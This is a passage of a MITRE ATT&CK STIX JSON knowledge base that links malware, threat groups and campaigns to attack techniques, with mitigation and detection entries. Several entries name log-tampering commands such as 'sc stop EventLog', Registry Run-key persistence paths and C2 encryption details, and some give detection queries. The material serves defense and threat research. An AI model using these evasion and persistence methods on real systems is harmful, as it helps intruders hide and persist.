"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4aaa3063-d1b0-4c13-aa6d-829000f05aec", "type": "relationship", "created": "2020-11-10T19:09:21.480Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-10T19:09:21.480Z", "description": "[Javali](https://attack.mitre.org/software/S0528) has achieved execution through victims clicking links to malicious websites.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--64122557-5940-4271-9123-25bfc0c693db", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ab2b092-a8c3-4728-9d3d-806c1ddb4796", "type": "relationship", "created": "2020-03-27T21:50:26.220Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-27T21:50:26.220Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ab6ada3-0129-4f34-ba29-b793c6d98fff", "type": "relationship", "created": "2019-01-30T17:33:41.156Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. 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(2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. 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Monitor for newly spawned outlier processes that are executed through cron jobs that have not been seen before when compared against the baseline data.\n\nAnalytic 1 - Unusual Cron Job Creation\n\n<code> source=\"*Linux:*\" Image= \u201ccrontab\u201d OR Image= \u201ccron\u201d AND CommandLine LIKE \u201c*crontab -e*\u201d OR CommandLine LIKE \u201c*cron*\u201d </code>\n\nAnalytic 2 - Unusual Execution Frequency\n\n<code> source=\"*Linux:*\" Image= \u201ccrond\u201d OR Image= \u201ccron\u201d AND ImageCount >= \u201c100\u201d </code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4abcf209-1dab-435b-a347-b8ff318ac5d8", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks BRONZE BUTLER Oct 2017", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}], "modified": "2020-03-20T18:07:43.175Z", "description": "[Daserf](https://attack.mitre.org/software/S0187) uses custom base64 encoding to obfuscate HTTP traffic.(Citation: Secureworks BRONZE BUTLER Oct 2017)", "relationship_type": "uses", "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ac5b593-8f47-46cc-9af3-fcb0eb20f66e", "type": "relationship", "created": "2020-10-15T02:02:39.748Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender StrongPity June 2020", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}], "modified": "2020-10-22T18:13:16.606Z", "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created self-signed certificates to sign malicious installers.(Citation: Bitdefender StrongPity June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", "target_ref": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4acb6288-8de5-4a5c-b7a4-68911ab148f9", "type": "relationship", "created": "2021-06-22T13:12:35.407Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-22T13:12:35.407Z", "description": "[SodaMaster](https://attack.mitre.org/software/S0627) can identify the username on a compromised host.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--94d6d788-07bb-4dcc-b62f-e02626b00108", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ad60c58-2665-4c4b-a9e8-5cd0042e45bb", "type": "relationship", "created": "2019-06-07T17:41:58.922Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro IXESHE 2012", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf", "description": "Sancho, D., et al. (2012, May 22). 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Retrieved September 27, 2021."}], "modified": "2021-09-30T14:37:43.230Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can measure the download speed on a targeted host.(Citation: Kaspersky QakBot September 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4af1ec66-5007-49df-8a10-df2c8ed7edc8", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2019-04-24T23:10:02.430Z", "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the Registry Run key location <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ssonsvr.exe</code>.", "relationship_type": "uses", "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4af77ee9-ee38-4594-81e3-177a2f2d4bfb", "type": "relationship", "created": "2021-05-19T15:54:52.680Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. 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(2018, October 11). Joint report on publicly available hacking tools. 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Retrieved June 29, 2021."}], "modified": "2021-06-30T19:54:33.079Z", "description": "[Nebulae](https://attack.mitre.org/software/S0630) can use TCP in C2 communications.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b3f0b38-d4e2-49e8-a8f9-6a186c31967f", "type": "relationship", "created": "2019-01-30T17:43:28.261Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. 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Retrieved March 31, 2021."}], "modified": "2021-04-22T14:35:25.543Z", "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has decrypted strings and imports using RC4 during execution.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b3f85b7-a7a4-446f-a3cb-d922268ee879", "type": "relationship", "created": "2020-05-08T18:41:16.342Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Inception Framework March 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies", "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."}], "modified": "2020-05-08T20:02:19.454Z", "description": "[Inception](https://attack.mitre.org/groups/G0100) has used a reconnaissance module to gather information about the operating system and hardware on the infected host.(Citation: Symantec Inception Framework March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f", "type": "relationship", "created": "2017-05-31T21:33:27.071Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", "source_name": "FireEye FIN6 April 2016"}], "modified": "2020-10-08T14:44:54.343Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.(Citation: FireEye FIN6 April 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b4ac061-dee5-44f3-b0f5-021889eae45e", "type": "relationship", "created": "2019-03-15T13:45:43.244Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", "url": "https://www.symantec.com/connect/blogs/shamoon-attacks", "source_name": "Symantec Shamoon 2012"}, {"url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html", "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", "source_name": "FireEye Shamoon Nov 2016"}, {"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "source_name": "Palo Alto Shamoon Nov 2016"}, {"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", "source_name": "Unit 42 Shamoon3 2018"}, {"source_name": "McAfee Shamoon December 2018", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/", "description": "Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."}], "modified": "2020-05-29T18:11:24.435Z", "description": "[Shamoon](https://attack.mitre.org/software/S0140) attempts to overwrite operating system files and disk structures with image files.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016) In a later variant, randomly generated data was used for data overwrites.(Citation: Unit 42 Shamoon3 2018)(Citation: McAfee Shamoon December 2018)", "relationship_type": "uses", "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4b4ccf27-d9e2-4cd9-b783-e8cdf354e6dc", "created": "2022-08-31T16:21:29.106Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Zscaler Lyceum DnsSystem June 2022", "url": "https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor", "description": "Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Zscaler Lyceum DnsSystem June 2022)", "modified": "2022-08-31T16:21:29.106Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b4d8f9e-a416-4af6-9c20-582892601668", "type": "relationship", "created": "2019-06-13T16:47:56.005Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-13T21:36:05.235Z", "description": "Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4b4fadc1-a402-4d56-9e4f-8c76b03def23", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "def_ev_win_event_logging", "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.", "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"}, {"source_name": "disable_win_evt_logging", "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.", "url": "https://ptylu.github.io/content/report/report.html?report=25"}, {"source_name": "evt_log_tampering", "description": "svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.", "url": "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T23:39:12.351Z", "description": "Monitor executed commands and arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), auditpol, `sc stop EventLog`, <code>reg add</code>, <code>Set- or Stop-Service</code>, <code>Set- or New-ItemProperty</code>, <code>sc config</code>, \nand offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and Invoke-Phant0m) may be used to clear logs and/or change the EventLog/audit policy.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering)(Citation: disable_win_evt_logging) ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b521c7b-c66b-4bbc-847e-d6a13e9ae62c", "type": "relationship", "created": "2017-05-31T21:33:27.054Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "source_name": "Baumgartner Naikon 2015"}], "modified": "2019-04-10T15:59:09.269Z", "description": "(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b5540e5-eac1-40f4-93d0-155f60e9395a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Lotus Blossom Dec 2015", "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"}], "modified": "2020-03-16T15:50:20.159Z", "description": "The C2 server response to a beacon sent by a variant of [Emissary](https://attack.mitre.org/software/S0082) contains a 36-character GUID value that is used as an encryption key for subsequent network communications. Some variants of [Emissary](https://attack.mitre.org/software/S0082) use various XOR operations to encrypt C2 data.(Citation: Lotus Blossom Dec 2015)", "relationship_type": "uses", "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b569311-24d2-439d-badb-a5076955cda3", "type": "relationship", "created": "2020-06-02T19:36:48.172Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 CARROTBAT January 2020", "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}], "modified": "2020-06-02T19:36:48.172Z", "description": "[CARROTBALL](https://attack.mitre.org/software/S0465) has the ability to use FTP in C2 communications.(Citation: Unit 42 CARROTBAT January 2020)", "relationship_type": "uses", "source_ref": "tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b5948b4-eba5-4af6-93d1-71b109167f62", "type": "relationship", "created": "2019-10-08T19:55:33.729Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T12:37:53.005Z", "description": "Administrators should audit all cloud and container accounts to ensure that they are necessary and that the permissions granted to them are appropriate.  Additionally, administrators should perform an audit of all OAuth applications and the permissions they have been granted to access organizational data. This should be done extensively on all applications in order to establish a baseline, followed up on with periodic audits of new or updated applications. Suspicious applications should be investigated and removed.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b5e4611-ed5c-4223-bc75-5e272090b887", "type": "relationship", "created": "2020-02-12T14:37:27.500Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx", "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.", "source_name": "Windows RDP Sessions"}], "modified": "2022-03-28T16:07:44.881Z", "description": "Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.(Citation: Windows RDP Sessions)", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b5e8e16-ddf4-4339-859b-f70f980d612b", "type": "relationship", "created": "2019-07-18T17:11:15.628Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-23T18:18:43.358Z", "description": "Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4b66eefd-8731-4c36-bee3-88e87c9f41d3", "created": "2022-05-27T13:23:37.573Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Power Automate Email Exfiltration Controls", "description": "Microsoft. (2022, February 15). Email exfiltration controls for connectors. Retrieved May 27, 2022.", "url": "https://docs.microsoft.com/en-us/power-platform/admin/block-forwarded-email-from-power-automate"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T15:12:33.677Z", "description": "Monitor logs generated by serverless execution for unusual activity. For example, in Exchange environments emails sent by Power Automate via the Outlook 365 connector include the phrase \u2018Power App\u2019 or \u2018Power Automate\u2019 in the SMTP header 'x-ms-mail-application.'(Citation: Power Automate Email Exfiltration Controls)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4b688df5-5ecf-48ea-a15f-4509e557224c", "created": "2024-03-12T18:49:33.157Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}, {"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-12T20:53:54.056Z", "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors changed timestamps of multiple files on compromised Ivanti Secure Connect VPNs to conceal malicious activity.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4b6bee9b-469e-48ce-84fa-5322de03470a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Scarlet Mimic Jan 2016", "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}], "modified": "2020-03-27T20:41:21.589Z", "description": "The original variant of [FakeM](https://attack.mitre.org/software/S0076) encrypts C2 traffic using a custom encryption cipher that uses an XOR key of \u201cYHCRA\u201d and bit rotation between each XOR operation. Some variants of [FakeM](https://attack.mitre.org/software/S0076) use RC4 to encrypt C2 traffic.(Citation: Scarlet Mimic Jan 2016)", "relationship_type": "uses", "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4b6f2524-85b4-4151-9001-32b875cfbb19", "created": "2023-03-26T20:44:12.561Z", "revoked": false, "external_references": [{"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:44:12.561Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used RDP sessions from public-facing 